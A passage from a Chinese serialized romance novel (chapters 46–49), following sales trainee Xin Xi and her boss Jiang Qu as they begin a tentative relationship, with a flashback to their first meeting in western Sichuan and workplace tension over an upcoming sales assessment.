其他人跟着发出些窸窣抱怨声,都是年纪差不多的年轻人,熬夜喝酒玩游戏不是正当时候嘛。
辛熙只得又重新坐了回来。社交里,她需要从众。
游戏的概率会被进行的次数拉高,主持人喊单数的人选择方向的时候,她明显感觉到了身旁的动静,或左或右,她必须选一个。
逃不过的,辛熙忐忑地抬起眼皮,眼睛缝里先看到对方的下巴,有点点青色的胡渣。她打算破罐子破摔,索性瞪着睁开眼,却被这一眼吓了大跳,“姜......姜总”。
“玩什么呢?”
徐进说:“眉目传情啊。刚叫你你不来,怎么地,玩两局?”
“眉目传情?”姜渠略带疑惑的目光看下辛熙,对方却不自然地转开了眼。
“对啊,就是......”
徐进解释的话还没说完,就听姜渠喊他,“你出来下,那边有点事。”
姜渠找他,徐进从不怀疑不是正事,立马起身往外走。一桌的男女面面相觑,少了个男生,女生就多了一个,辛熙赶紧识趣地站起来,“那你们玩儿。”
她走得很快,让想要追讨刚才那局惩罚的人,话都没来得及说出口。
太险了。
如果姜渠没来,她也是打算赖账的,有些脸皮不能要。
辛熙刚走出去,一眼又看见了他,身旁人来来往往,只有他静静地站在那儿。他应该是在等自己,再躲就过于小气了。辛熙朝他走过去,如果他不是在等自己,她也应该大大方方地打个招呼,没什么大不了的,“姜总,好巧哇,您也来玩啊。”
姜渠目光沉静,“今天很开心?”
辛熙想了想,她今天拿回了合同,准点下了班,还看到这么漂亮的地方,很难不开心吧?于是重重地点点头,“姜总今天也很开心吧?”毕竟每次看见他,都正笑得花枝乱颤的。
姜渠淡淡地抿嘴,问:“为什么挂我电话?”
辛熙没料到他会这么直白地问出来,在他提到高桥的那句话后,她慌得直接掐断了通话。虽然挂断后就后悔了,明明应该若无其事地反问一句:他说了什么?没想到姜总竟然还记得,我都记不清了呢,嘿嘿。
可惜还是遭了他的道,轻轻一句话就落荒而逃。辛雅说得对,他的段位太高,她玩不过。棋逢对手或许是件痛快的事情,但自己明显没有与之拉扯的能力。
辛熙下意识地往后退一步,想逃避的心思完全落入对方眼中,姜渠将目光移到刚才的酒桌游戏上,问她:“游戏好玩吗?”
“还可以吧”,辛熙警惕起来。
“怎么玩的?”他的目光真诚到好似真的在求教,甚至摊开了手,朝她靠近了一些,“你给我示范一下什么叫眉目传情?”
辛熙拧起眉,“这不太合适。姜总,要没什么其他事,我就先走了。”
辛熙快速的转身,刚才的气氛暧昧又诡异,她怕自己再多待
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一秒就又会遐想连篇。人在面对诱惑的时候,很难把持住自己,辛熙知道自己不是一个意志力坚定的人,所以要在尚存几分理智的时候,远离诱惑的源头。
手机在兜里响了好久,辛熙在走到僻静处才发觉。电话是江准打来的,圣南的合同少不了他的帮助,她理应请客吃饭。
江准说:“我们还应该要感谢你呢,圣南改公开招投标,我们公司也拿下了一点业务。”
“哎~我其实也就是运气好罢了”,她在这段时间里也想明白了,常乐或许根本就早有此打算。她和程泉闹离婚,其中几分真假外人根本说不清。
“但我可听说了,是你做的方案彻底打动了常乐总,才让她下定决心做变革的。”
“真的么?但也可能,她就是随便拿我当托辞。”
“辛熙,要相信自己,你真的很棒。”
两个人又聊了许久,辛熙顺着木质的楼梯漫无目的闲走,不知不觉走到了高处,回头望时,有种万籁俱寂的错觉。这里的视野,可以将底下的灯火通明,人潮涌动,全部揽入眼里。
世界璀璨无比,而他......在目之所及之处。
他在.......望着她。
是......一直在吗?
他们看不清对方的表情,但彼此都知道,对方的眼中此时、此刻、此地,只有自己。
“姜总以为我为什么挂电话?”辛熙拨了通电话过去。
“你现在为什么打电话?”
辛熙生气了,“姜渠,你就不能好好说话吗?”
“你刚才是不是喝了很多酒?”
“什么?”
“酒醒了一点了吗?”
“我没醉”,她的酒量好像练出来了,玩游戏输了的那点酒,竟对她没有任何的影响。
“那好。”
辛熙一头雾水,她看见姜渠动了身,朝她这边走过来,听筒里可以听见微弱的风声,这让姜渠的声音显得有些空旷,他说:“我希望你能清醒地,听我说接下来的话”。
辛熙握着手机的手微微颤抖,视线里,一个人影在慢慢地放大。与此同时,手机里传来他的声音,口条清晰,他直言:“我觉得你那天早上的提议不错,但我,要改一下规则。”
辛熙自然知道他说的是什么,脱口而出,“改什么?不对,不是......可你已经拒绝了。”
这个男人的狡诈在此刻原形毕露,他轻笑的一声,有胜券在握的底气,“你之前跟我说,咱俩早就好聚好散了,是吧?那上一次算什么?”
算冲动,算错误,算你倒霉呗。算什么,算我白瞎,辛熙没有回答。
“藕断丝连?旧情复燃?还是......”
“啊,啊!停,停”,辛熙在此刻,就是个敢做不敢当的怂人。
“还记得我们的第一次露营吗?是在我们认识的第一天。我当时在想,这个小姑娘怎么那么大胆,敢约一个只认识一天的人去看日出。”
事后辛熙也反省了自己,确实太过莽撞,于是说:“以后再也不会了。我那会儿就.....就是高原缺氧,脑子短路。”
“那你要不要再大胆一次?”
辛熙看着他走向自己,风衣被秋风扬起下摆,将一身性感的线条展露出来。他还在朝她靠近,现实里的声音和听筒里的声音凑起了双响炮,“我们谈恋爱吧。”
辛熙露出了此生最为不可思议的表情,“谈......谈恋爱?”她真的惊呆了,虽说两人已经有了致密的亲密关系,但感情基础十分薄弱,远没有到确立彼此为“爱情”这一名名词的代表人物的时候。
“对,谈恋爱”,姜渠说得斩钉截铁,“适龄男女,通过彼此关心,坦诚相待,互相陪伴、爱护,从而建立一段亲密关系,进行社会活动。”
“可,可你之前说你不想......”
“辛熙,你想好聚好散,我还没聚够呢。”
辛熙彻底懵了。她不是没有感觉姜渠的意思,两个人走到了那一步,不可能毫无情意,但就像辛雅说的,他和她差距太大。不是经济和物质上的差距,而是眼界、思维,他们见过的世界大不同,所以,自己对他的吸引力,应该只有很小的一部分。如果他提出,和她保持不见光的情人关系,她大概率会答应,这份贪念足以让她违背原则。但他说,谈恋爱......会牵小手手的那种恋爱?
“姜总,你……是不是喝酒了?”
辛熙凑近观察。四目相对时,灯盏映在彼此黑曜石般的瞳孔里格外萤亮,姜渠扬起唇角,下一秒已经亲了上去,他的嘴里只有清冽的气息,恰似晚来的秋风,醉人不已。
“确定了吗?”
辛熙迷迷蒙蒙地点头又摇头,“我还以为有枸杞味儿呢。”
47. 第 47 章
这个夜晚,注定辗转难眠。
辛熙在帐篷里翻来覆去。虽然露营地的床品都是星级酒店的配置,但胸腔里那颗剧烈跳动的心脏始终不肯安分,连带着五脏六腑都活跃异常。
风月动情撩人,亲吻时,彼此贴近,身体的热浪将沉凝在衣服纤维上的香气烘得馥郁非常。辛熙感觉自己整个人都被浸在这种香氛里,直至回到帐篷后依然目眩神晕。
可......为什么呢?悸动过后,脑子里更多的是不真实感。思绪一半糊涂一边清明,她开始反复复盘,将当时的环境、事情的前因后续,他说话时的神态、语气,全部拿出来,抽丝剥茧地盘了又盘,却依然不明其道。
好烦啊!辛熙从床上坐起来。与其自己在这儿胡思乱想、百般内耗,不如直接找他问清楚:姜渠,你是认真的吗?你为什么要和我谈恋爱?你是喜欢我的么?喜欢我什么呢?还是只是报复我当初先离开?或者是无聊,想找个人打发时间?你不怕和下属谈恋爱会影响不好了吗?
辛熙想,她应该要问清楚的,况且她还没给出正式的回答呢。签合同都需要甲乙双方都签字盖章才生效,若是谈恋爱,是不是也得两个人给出个相亲相爱的承诺,才能算正式开启双边关系?
栖云山的夜晚比她想象中冷,辛熙刚走出帐篷就有些打哆嗦。姜渠在这里有固定的房间,这是他们股东的权益。她知道大概的方向,将她安顿好后,姜渠给她指过位置。
辛熙绕了路,凉风让她刚才的忐忑渐渐落稳,就又有了半点打退堂鼓的意思。这个时间找上门,很难解释清楚自己的目的,毕竟自己是有前科的。
但就在此时,她看到了姜渠,他和徐进两个人正坐在户外的篝火旁边喝酒。
夜深人静地,连火堆都已经蔫了吧唧的了。
徐进调侃道:“你上回去津南,不是把人家小姑娘拒绝了吗?怎么这次,自己巴巴地送上门?”
辛熙一听话题和自己有关,赶紧闪躲进了旁边的一个巨型玩偶怀里,将自己掩藏得严严实实,只探出一条小缝的视角,暗中观察。
姜渠喝了口酒,或许是因为凉意,他动了动略僵的四肢,说:“我乐意。”
“行,您乐意做什么都行”,徐进忍不住打趣,“那你今儿找我在这儿喝了这么久的闷酒,做什么?”
姜渠没有立马回答。
等待答案的过程有些煎熬,辛熙拢紧外套,听见他的声音裹挟着凉意传过来,“她......似乎和我之前以为的不太一样,我想,我需要重新认识一下。”
徐进拍了拍姜渠的肩膀,应是有安慰之意,他说:“要我说啊,你俩那时候总共才认识几天,能了解多少,肯定看到的全都是好的,不然你也不能念念不忘那么久。但有句话怎么说了的,我们爱上的人,其实都是我们按照自己的喜好,美化包装过的。等哪天熟悉到滤镜没了,人自然也就淡了。”
“或许吧”,姜渠流露出一丝迷茫。
同一个人,为什么会感觉既熟悉又陌生呢?
在川西高原上的她,像天生天养的精灵,自由、热烈,永远精力充沛。不知道从哪里冒出来的,雪白的羽绒服,羊绒帽,雪地靴,一身的白,几乎和雪山面融为一体,她的皮肤也白,五官都跟着显得有些朦胧。弯腰给伤员包扎时,像只认真觅食的羊驼。
等忙活一段时间后,全身上下染上了乱七八糟的颜色,血的红,泥的灰,草的青,倒渐渐让她有了点真实的感觉。
他先看到滚落的山石,想也没想地伸手挡开,等她反应过来后,居然先“哇哦”地惊叹了一下他的身手,才后知后觉地道了声谢,小脸瞬间被染红,又添了两分神采。
她主动上他的车,找的理由根本站不住脚。她提出看日出,他匆匆答应,地儿还是临时问的同事。
成年人的意图心照不宣。
天公作美,那夜的星云让他觉得梵高的《星月夜》半点都不夸张。只是很遗憾,他们没能等来日照金山。
天快放亮的时候,县医院的院长急匆匆给他打来电话,说下午救治的伤患里有名伤重病人是稀有血型,急需输血,医院从市里的血站紧急调用,但送血浆的车在送来的半路上抛锚,打不起火。院长辗转了解到,停车点正好在离他们看日出的这座山下的不远处,希望他能帮忙。
他自然义不容辞。说明原因后,辛熙立马答应,“那咱们赶紧下山吧,这事儿耽误不得。”
他犹豫两下,说:“如果你想留在这儿看日出的话,可以等我忙完来接你。”毕竟日照金山可遇不可求。
辛熙可没有犹豫,已经先他一步往下走,催促着,“快走啊,太阳天天都得出来一趟的。”
那天,也幸好有辛熙跟着一起去。
他们跟着导航开到一处出山口时,前方有落石挡住了去路,车辆过不去。姜渠找附近的牧民了解到出山的车道只有这一条,等疏通不知道要等多久,如果从山背后绕路的话,得多花上一小时。
牧民说的藏语,叽里咕噜地,左边右边地交换指着。旁边一个抱孩子的妇人,见他俩听不懂,好心地帮着解释,“他是说,你们要着急的话,只有从那边那儿翻过去。他们平时放牧就走的那边。”
他俩顺着方向去看,光秃秃地山面,零零散散点缀着些积雪,不是特别高也不算陡峭,只是如果靠徒步怎么也得半小时才能翻过去。
“那要是骑马呢?”辛熙问。既然放牧走的道,肯定能骑马通行,辛熙指了指牧民家外栓着的骏马,“我可以骑马去取。”
辛熙会骑马,这是现代人中少有的技能。这项活动放在在普通人家里,是既不能给考试加分,也不能为简历增彩的,但爸妈说,让她喜欢什么就学什么,他们的孩子大可以学一些没多大用处的东西。家里为此还给她买过一匹马,让她在农场里骑。
再后来的大学选修课,她辅修过各种千奇百怪的课程,像《名侦探柯南与化学探秘》、《周易与管理》、《饮品鉴赏》等等,天南地北毫不相关的。辛熙甚至在大三辅修过一学期的《藏语言文学》,当然,到现在也只记得几句基础的礼貌用语了。
姜渠有些不放心,但事出紧急,这在当下看来是最快的办法了。他从车上取下来一个防水手机套,将辛熙的手机装进去,打开了视频通话,并给她挂在脖子上,叮嘱再三,不要挂断。
事情进行得很顺利,当姜渠看到她骑着马踏雪而来
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的那一刻,金色的阳光正好洒满大地。
视觉上的冲击冲破了情感的壁垒,胸腔被填补得满满当当。
他们驱车抵达县医院,早有医生护士在候着,急急切切地接过去,没一会儿又跑出来一个护士,将姜渠留住,说院长请他留步,手术比较困难,县医院的医护人力有限,需要他的帮助。
姜渠跟着往里走了两步,又退回来,急切而又认真地叮嘱了两句,让她务必要等他。
这一等,几个小时过去。
等他忙完出来的时候,辛熙已经在医院的长椅上睡着了。
毕竟一个晚上没有睡觉了,姜渠不忍心叫醒她。她睡觉的姿势并不老实。见过她骑马归来时那种清尘脱俗、仙气飘飘的样子,他原以为,她应该是小龙女睡寒玉床那种观感的,结果没想到如此接地气地可爱。姜渠觉得有趣,好像连日的疲劳都跟着有所缓解。
他看得入神,长长的睫毛、小巧的鼻子,粉嘟嘟的唇,忽然,他听到她嘟嘟囔囔地一句,“再不亲,我就要睁眼啦。”
装睡也是需要演技的。她一向睡眠浅,姜渠刚走到她身边时,她就已经醒了,但她没有睁开眼。童话故事里,王子吻醒了睡美人,原谅那一刻,她把自己当成了一个美人,毕竟她可从来没有机会看到自己的睡姿睡容。
姜渠笑了。他确实有过几秒钟的冲动,但若真付诸行动,岂不是成了流氓。他和流氓是有区别的,亲吻之前,他会先询问对方的意愿。
他俩的第一次接吻,发生在当天的傍晚。姜渠先带她去吃了饭,然后送她到宾馆休息,到了晚间,差不多休息好了,才又带她出门吃晚饭。
辛熙全然忘了自己出行前拟定的旅游攻略,原计划,她当天应该在下一个地方,享受美味而独特的藏餐的。
晚上后,他们沿着江边散步。为了臭美,辛熙穿得单薄,白细的脖子光溜溜地露在外面。姜渠忽然停住脚,几分玩笑地问:“我现在是不是可以把围巾给你带了?”
辛熙点点头。
羊绒围巾带着他的体温贴过来,柔柔软软地。他们离得很近,空气很冷,呼吸很烫。
他收起笑,认真地问她:“那我现在可以吻你了吗?”
“嗯”,辛熙说话的时候也抬起了头。他的唇紧跟着贴过来,比脖子上的羊绒围巾还更温暖柔软。
大学时,她问过谈恋爱的女同学,接吻是什么感觉,女同学说,黏糊糊地,会被抹上满脸的口水。她当时恶心坏了,心想,如果有一天谈恋爱,接吻前一定要要求对方刷牙漱口。快毕业时,她差一点和一个追了她蛮久的同班同学谈恋爱。男同学干干净净地,人也不错,但在他的嘴亲上来时,辛她的第一反应是咬紧牙关,抿紧嘴。男同学大受打击。思前想后了一个晚上,决定再约辛熙一次。辛熙却打起了退堂鼓,说算了,马上就要各奔东西,没必要再浪费情绪。
姜渠的亲吻很美妙,妙不可言的美妙。辛熙猜,应该是熟能生巧了。她有些挫败感,所以在两个人聊起时,她解释说,她不是经验不足,是天太冷,唇都冻僵了。在这件事情上的胜负心哪有什么道理可讲,事后,她甚至偷偷去网上搜索,企图用理论的知识补足经验上的短缺。
48. 第 48 章
徐进的经验之谈,在姜渠看来是否有参考价值,辛熙不知道。她躲在玩偶后面,黯然神伤。姜渠的回答,给她一晚上的激动泼了盆冷水。
果然,没有人可以从别人的嘴里全身而退,她想,以后再也不要偷听别人讨论自己了。
她是想连夜就走的,但打不到车,这让辛熙头一次觉得有必要买辆车,在想逃离或抵达某个地方的时候,不用再受制于外部条件。
就这么半梦半醒地熬到天亮。
辛熙在路边等车的时候,接到了姜渠的电话,应该是来找她的时候发现她不在。他应该会是一个不错的恋爱对象,在转换成男朋友的角色后,他的语调显得格外柔情。他问她在哪里,餐厅准备的早餐不错,他想和她一起吃。
那一刻,她没有说出拒绝的话。
可即便这样,她依然无法全情投入到恋人的角色。她知道原因,但没有解决方案。
姜渠不算一个多话的人,回城的路上,他问了几次冷不冷、渴不渴、饿不饿之类的话后,车里的气氛就怪异地安静下来。辛熙不知道是不是只有自己感觉了别扭,但她没有心思顾及,索性闭眼装睡,她也确实困了,装着装着还真就睡着了。
等再醒来的时候,车子已经停在了吉兆胡同。
辛熙解开安全带,准备下车,“我到了,谢谢姜总送我回来。”
姜渠邹着眉,带着疑问的表情看向她,“现在不是工作时间。”
“嗯?”辛熙不解。
“所以,你确定要在恋爱关系上,继续使用这个称呼吗?”
辛熙跨出去的腿又收了回来,重新关上车门,犹豫着:“关于这个......恋爱关系,我们能不能......先对外保密?”
她认为姜渠会十分赞同这个提议,但没想到,刚听她说完,他脸上的表情就冷淡下来,问:“原因呢?”
“原因......这开始得有点突然,我还不知道该怎么向其他人说明。再加上,我们现在的上下级关系,被同事知道也容易被议论、被说闲话。谈恋爱本来也是相对私人的事情,没必要其他人参与。嗯......还有就是,我们互相不够了解,也许......也许你会后悔。”
如果你后悔了,你大可以随时叫停,但那时,我只不希望被过多的人关心或同情。这后半句,辛熙没说出口,因为她觉得这句话像是一种情感绑架。
“那你呢?”姜渠问。
“什么?”
“你会后悔吗?”
“我不知道。”
辛熙一直低着头,没有留意到姜渠表情上的变化,只听见他说:“我从不为自己的选择后悔,希望你也一样。”
之后的几天,两个人都没有再联系。
辛熙完全没有刚入热恋的那种喜悦。她不知道别人确定恋爱关系后是什么样子,但肯定不是他俩现在这样。他俩,就像是旧时代被包办婚姻裹挟的小夫妻,因第三方的压力迫使,促成了两个人的亲密关系。但,他们之间分明又是你情我愿。
国庆假期,辛熙照例回了榆林。
姜渠只在节前的头一天联系了她,问她假期怎么安排,得知她要回老家后,叮嘱了几句,就挂了电话。他一直很忙,辛熙都知道。这是他接手麦高业务部门的第一年,他必须拿出漂亮的成绩,堵住悠悠之口。
辛雅在节日的最后两天也回来了。她原本计划走一趟新马泰,但余博文家里有事,临时回了老家,虽然他一再表达希望辛雅和一起回去,但这不符合辛雅的人设。辛雅早年最喜欢独自旅行,但这一程,她没有走完,就觉得无趣,提前回来了。
“为什么呢?”
“累啊,什么都得自己操心。”
“你以前不是最讨厌别人替你安排和做决定吗?”
“可能年龄大了?”
“嘻嘻,是被余老师惯的吧。”辛熙称呼辛雅的男朋友为“余老师”,因为辛雅常常说他像中学的教导主任。
辛熙想,这应该就是爱情了,但辛雅却被她的话激得起鸡皮疙瘩,“这太可怕了,别把你的恋爱脑传染给我。”
节后回归,就是这一年的收官之战。
每年的第四个季度,连着几个行业大会、进博会,销售部门忙得脚不沾地,但最让辛熙忐忑的,还是这场必上的大戏“销售大练兵”。顾名思义,就是把所有销售召集在一起进行年终考核,测验产品知识、模拟客户谈判,再由各部门高层组成的裁判团进行打分。分数会直接关系到来年的场地分配,甚至是个人去留,而对辛熙来说,这关系到她能否有资格成为一名真正的销售。
辛熙去年参加过一次,但那次,她只是会议的协办,负责安排行程住宿,但哪怕就只是站在最边缘,依然对当时血雨腥风的场面心有余悸。那时还庆幸自己不是销售,钱少些就少些吧,好歹能全须全尾地站着旁观。
今年的就不一样了,她深入其中,倍感压力。
中午吃饭的时候,施琪看着她愁云惨淡的模样,忍不住打趣,“要不要我帮你偷考题?”
“真的吗?”辛熙真的心动了。这些年,产品迭代、技术更新,光是麦高自己的专利技术细算下来就能过百种,还要结合临床的医学知识,她一个门外汉,即便每周的大讲堂,堂堂都不落,也还是只能摸着皮毛。
“当然。产品部和交付团队今早都已经把测验题发给姜总了哦”,施琪一脸的暗示。
“啊,这么快,考题难么?”
“不简单,这次的测验题是向总和曾总亲自出的。”
“天呐”,辛熙抱头痛苦地说,“完了,完了,我感觉我转不了正了。”
施琪没想到她这么当真,问:“其实我一直很好奇,你为什么会想转做销售?”
说起缘由,辛熙也略有几分不好意思,“其实我也没想到。以前吧,我认为做销售肯定是利益驱动。得要有野心,要有功利心,得去争去抢,市场就那么大一块饼,所有人都得互相争夺。但我从小就没什么进取心,都是得过且过。后来......有人跟我说,做销售其实是做资源分配,物尽其用,把适当的东西卖到正需要的地方去。”
这话有些耳熟,施琪听完,挑了挑眉,“又一个被理想主义洗脑的傻子”。
施琪回到公司后,直接去了姜渠的办公室,二话不说地在他桌面上的一堆资料里翻找。
姜渠推门进来时看到这一幕,恍惚还以为自己走错了办公室,确认再三才说:“未经他人允许,取走他人物品,是窃取,我这人都回来了,还不住手,就是抢劫了。”
施琪没有理会,手上的动作未停,“我记得你让我打印出来后是放在桌面上的呀,去哪儿了?”
姜渠意识到她在找什么后,脸色微变,走过去制止她,“帮谁找的?”
“辛熙啊。”
“她?”
施琪见姜渠神色严肃,解释说:“她那么老实,怎么敢啊。我只是看不过去,其他销售经验丰富,早就找好关系拿到考题了,也就她,老老实实地天天背产品资料。你别告诉我你不知道啊。再说,这又不是高考,默认的规则不就这样。只要成绩单好看,大老板高兴,咱也好交差不是。”
姜渠沉默不悦。销售大练兵是麦高为数不多能让他认可的老规矩,但没成想,也变成了应付了事。
施琪说:“我知道你不喜欢,但规矩得慢慢立。现在,大家都这么干,总也不能让咱自己人吃亏,是吧?”
“这事儿,我来处理,你不用管了。”
“行呗,那给你个假公济私的机会好了。”
辛熙在连续熬了几个大夜后,有点后悔拒绝施琪
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的提议了。她担心自己考个倒数,这会非常丢脸。成绩单肯定会第一时间交到姜渠手里,他如果觉得失望,至少证明有过期望,最怕最怕,他说早就知道你肯定不行,果然如此。
果然,和短暂的相遇里,被包装起来的样子,大不相同,大失所望。
周六,辛熙在床上赖了一会儿,但想到下周的大练兵,脑子又瞬间清醒,赶紧爬起来,裹着个毛绒的大衣往外去,被正坐在客厅的姜渠吓一大跳,赶紧调头躲回房间。
上一次蓬头垢面地见他,好歹是因为生着病顾及不了太多,也因为那时刚被拒绝,大有种破罐子破摔的心态。但如今不同了,俩人确立了恋爱关系,这多少让辛熙有些形象包袱。
“咦~我刚不是听见辛辛起床了吗?人呢?”黎英看着空荡荡地客厅,以为自己产生了幻觉,遂又叮嘱姜渠,“那你小声点,别把她吵着了。我看她这几天天天熬夜到很晚。”
姜渠无奈,自己坐这儿安安静静地,碍着谁了。
辛熙换了身衣服、化了个淡妆走出来,黎英看在眼里,心中欢喜,对她解释道:“姜姜给我预约了今天的体检,所以我让他来家里等着,你不介意吧?”
“没关系的,英姨”。她以前就说过,她只是个租客,租了这里的次卧,其他空间,黎英都可以自主安排的,偏黎英觉得她一个女孩子住着,陌生的男性来都不方便,连着姜渠也不让进门了。
如今,好歹也不算陌生了,黎英格外高兴,“厨房里温着热粥,你自己吃点。”
“你们不吃了吗?”
“我不吃了,体检得空腹”,黎英叫上姜渠,“那我们走吧。”
姜渠仿若未闻,继续看着手机里的资讯,点点下巴,“等她吃完。”
等她干嘛?
等我干嘛?
两脸问好,等着他解惑,姜渠说:“有些检查,我不方便陪同。”
黎英正要拒绝,她可没老到需要人照顾到这个份儿上,可转念一想,姜渠这是开窍了啊,在故意制造相处机会啊,于是也助攻一把,转去询问辛熙是否方便。
辛熙自然没有不同意的。
姜渠陪着黎英先去了车里,辛熙还在收拾厨房,趁着她没来,黎英想先问清楚姜渠的意思,“你这把人叫上,是不是......”
“不是您让我多跟人熟悉熟悉,相处相处的嘛。”
“难得见你肯听我话”,黎英往后座去,“辛辛是个好姑娘,你要真有那意思,就把你那性子脾气收一收。但你若只是想玩玩,就别去招惹人家。我跟你说,你俩要能成,我高兴,你俩若不能成,那也是你福薄命浅。”
姜渠捏了捏眉心,实在分不清到底谁才是亲生的,“怎么在您老心中我就这么不值当?”
黎英叹了口气。她当然不想贬低姜渠,客观地说,姜渠在小辈里一直是最出挑的,无论是学习成绩、工作能力还是敬孝长辈的心意,他都没得可说的。但因为其父母的关系,黎英最担心的就是他的情感问题。小的时候,怕他像父母一样,早恋惹事不负责;长大后,又怕他受父母影响对婚姻家庭失望,不婚不育、孤独终老。
辛熙的好,不单是她这个人好、心善,还因为黎英知道她有幸福的家庭,从小受良好的教育,她希望,辛熙那颗在爱意里滋养长大的心,可以填补姜渠的缺憾。这些,她尚且不能多说。
辛熙走来的时候,看到黎英坐在后座,有些吃惊,黎英向她解释,说自己没吃早饭,有些晕,后面宽敞,坐着舒服些。辛熙没想其他,只好去开副驾的车门。座椅上放着几张A4纸,辛熙犹豫着是不是让她也坐后座的意思。正想关门,听见姜渠说,“拿开就好了。”
“哦”,辛熙只好将A4纸拿起来,目光无意识地扫过,她看见纸张上明晃晃地几个字:销售大练兵测验。
49. 第 49 章
姜渠给黎英预约的VIP全检,整个过程都有专人陪护,根本用不着他俩。
体检中心的服务很好,休息室也是参考星级酒店的配置,只是两个人相对坐着,有些无聊。窗外的树木枯黄,引着人情绪不佳。辛熙不想在和他独处时显露出负面情绪,索性拿出平板继续自己的学习。
姜渠当然也没闲着,虽然他原计划是不打算处理工作的。两个人正式步入恋爱的节奏,总得安排些时间用在约会相处上。但很显然,今天是不行的了,他没想到辛熙出门都随身背着工作用的平板电脑。
麦高给每一位正式员工配备了全套工作用的笔记本电脑、平板和手机,看起来是福利,其实只是希望员工能随时随地处理工作。他们也只有用公司配备的产品,才能登入内网,获取内部信息。
辛熙学得很投入,或许是因为没有休息好,没多久就有些偏头痛。
期间,驾校的教练打来电话和她确认信息,姜渠听见后,问她:“怎么突然要考驾照了?”
辛熙说了个非常正当的理由,“跑客户的时候,自己开车方便一些。”
姜渠似乎很认可她的回答,作为上司,应该没有理由拒绝下属的上进,他说:“那等你拿到驾照,我给你买辆车吧。”
什么?辛熙几乎是不假思索地闪身退开,“这,麦高没这福利吧?”
“麦高没有,但男朋友可以有。”
辛熙尚未习惯这种身份关系,拒绝得有些生硬,“不,不,不要,不用,真的”。她原本计划拿着自己从小到大攒下来的几万块钱付个普通小车的首付,剩余的再分期月供。连爸妈说要出钱给她买,她都拒绝了。
姜渠不理解。他见过的,譬如徐进这些年换来换去的女朋友,譬如家庭条件很好的佟歆亚,再譬如独立且优秀的施琪,似乎都认可男人的感情可以用他愿意为你花的钱来衡量。他在按照模板做一名合格的男友,但女朋友并不领情。
“那是车子也,大哥,不是,姜总,诶,也不是”,辛熙语无伦次,“总之,我不能要。一辆车少说也二十万起,你送给我,那我肯定是要回赠你同等价值及以上的礼物,可我能回你什么?回你什么我也回不起啊。”
“不用你回。”
“那更不行了”,辛熙心里生出莫名地火气,话脱口而出,“你对你每一任女朋友,都这么......大方吗?”几十万几十万地送,怎么没给你送破产咯。
前任永远是个敏感的话题,虽然辛熙并没有真的想探知他的过往,但姜渠的沉默,还是令她不动声色地腾升出两分酸楚和尴尬。怪自己这破嘴把不住门。
就在辛熙以为这个话题戛然而止的时候,姜渠说话了,“只有一个。”
“什么?”
“前任。你见过的。”
辛熙想起了那位漂亮又骄傲的女士,情绪带着微妙的遗憾,“如果你俩当初能就留在美国还是回国达成共识的话,也许......”
“你听谁说的?”
“徐进啊。”
姜渠一整个无语,“我和她之间不是简单的异地问题。”
“那是因为什么?”
姜渠有些犹豫,对现任说起前任的不是,未免有失风度,可避而不谈也不是良策,他说:“抱歉,这件事已经过去,我不想再提。因为无论我说什么,结论肯定是利于我自己的,这对对方来说,也有失公允。”
辛熙连声附和,试图以此证明自己并非真的在意。她想起辛雅说过的话:没有人能客观公正地评价前任,因为感情关系里的两个人看待对方,肯定都是带有感情色彩的,或褒或贬。
姜渠看着她神色疲惫,岔开话题,提醒道:“其实这个大练兵,公司上下都没有很当回事儿。”
“是么?”心思重新回归正途,辛熙甩甩脑袋,想把纷杂的念头都甩出去,答道:“但多学到一些,总也比没学好。不是你说的嘛,要获取客户的信任,我们得先让自己更专业,才有说服力。”
姜渠默了默,“你和我之前以为的......有些不一样。”
“是.....么?人都有好多面的......”辛熙握笔的手颤了颤。脑海中忽然灵光乍现,似乎明白了姜渠为什么会喜欢那个时候的“瑞拉”,如果重逢后他的那些表现尚且能算是意犹未尽、余情未了的话。
她那时候刻意深化加强包装出来的属于“瑞拉”的秉性,其实和佟歆亚很像,她们是自由的、大胆的、明烈的。即便偶尔任性,不守规矩,那比单调的老实本分的个性,有意思多了吧?
辛雅曾说,男人对于异性的偏好会随着年龄、阅历和自身能力的增加而发生变化。他们在年轻时更偏爱单纯温顺的,这与他们对这个世界的掌控能力不足有关,一旦等他们拥有了一些社会地位、经济能力,他们就只会被更具有挑战性、更多彩的成熟异性吸引,甚至可能因此越过可控的边界,获取情感刺激。
辛熙为此有些失落。她知道不应该因为异性的喜好给自己下定义,但......她确实在意姜渠的看法。
姜渠并没有就此将话题延展,他轻轻地“嗯”了一声,借了她的平板电脑处理工作。
黎英这边检查完已经快到中午,姜渠直接将她们带去了上次的那家私房菜馆。老板见着黎英,十分热情地招呼着,“终于把您给盼来了。”
黎英向辛熙介绍,“小闫老板也是咱吉兆胡同的,就胡同口那小超市-闫老头的儿子。”
辛熙礼貌地朝他打招呼,总算明白他和姜渠为什么那般熟悉了。
没等黎英介绍辛熙,闫明已经乐呵呵地接过话,问:“小两口什么时候办喜事啊?到时候可一定得请我们。虽然我做不成伴郎了,可大红包都准备着呢。”
“您误会了,我们......”
“是啊,闫明,你胡说什么,小姑娘脸皮子薄,不好乱开玩笑的。”
闫明见黎英少有的表情严肃,也有些摸不着头脑,“不是说婚房都看好了吗?就旁边的首府天成。我爸还一直说,小姜出息了,去美国赚到大钱了,能买下那儿的房子。”
辛熙一听,脸更红了,这不就是自己那天为了应付佟歆亚,胡乱诌的嘛。
姜渠瞧着辛熙的表情,猜出了几分,拉开他:“先去给我们上菜吧,姥姥还没吃早饭。”
等闫明走开,辛熙才给他俩解了疑问,“闫爷爷耳力可真好,我记得他当时,明明在躺椅上打盹儿来着。”
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>黎英听明白了这场乌龙,安慰她,“没事儿,等回去啊,我去找闫老头解释清楚。不过那个楼盘,姜姜刚回国的时候,带我看过,确实不错,就是户型太大了。他说买了让我住,可算了吧,我一个老太婆住那么好的房子干什么,前前后后也没个邻里邻居的。我叫他把购房名额留着,等买婚房的时候,让他老婆啊,选个满意的。辛辛,你说我说得对不对?这小子,还因此生了我气,一个月没来看我。”
“我那是去成都出差了”,姜渠在一旁无奈地解释。
黎英没理会,只顾着和辛熙说话,“咦~辛辛,你的脸怎么这么红?”
“可能空调开太足了吧,我去找服务员调一下。”
辛熙说完,赶紧往外面跑,将黎英的那句“开空调了吗”丢在身后。
辛熙从洗手间出来的时候,看到了姜渠,但她并不意外。他站在花坛边,右手的两指间夹着一支烟,见她走近,忙将烟头摁熄。
“你会抽烟?”辛熙第一次见他抽烟,他们互相了解得甚少。
“偶尔”,姜渠回答,复又补充了一句,“很少。只是有时候压力大的时候,会。”
“哦。”
“走吧。”
“嗯。”
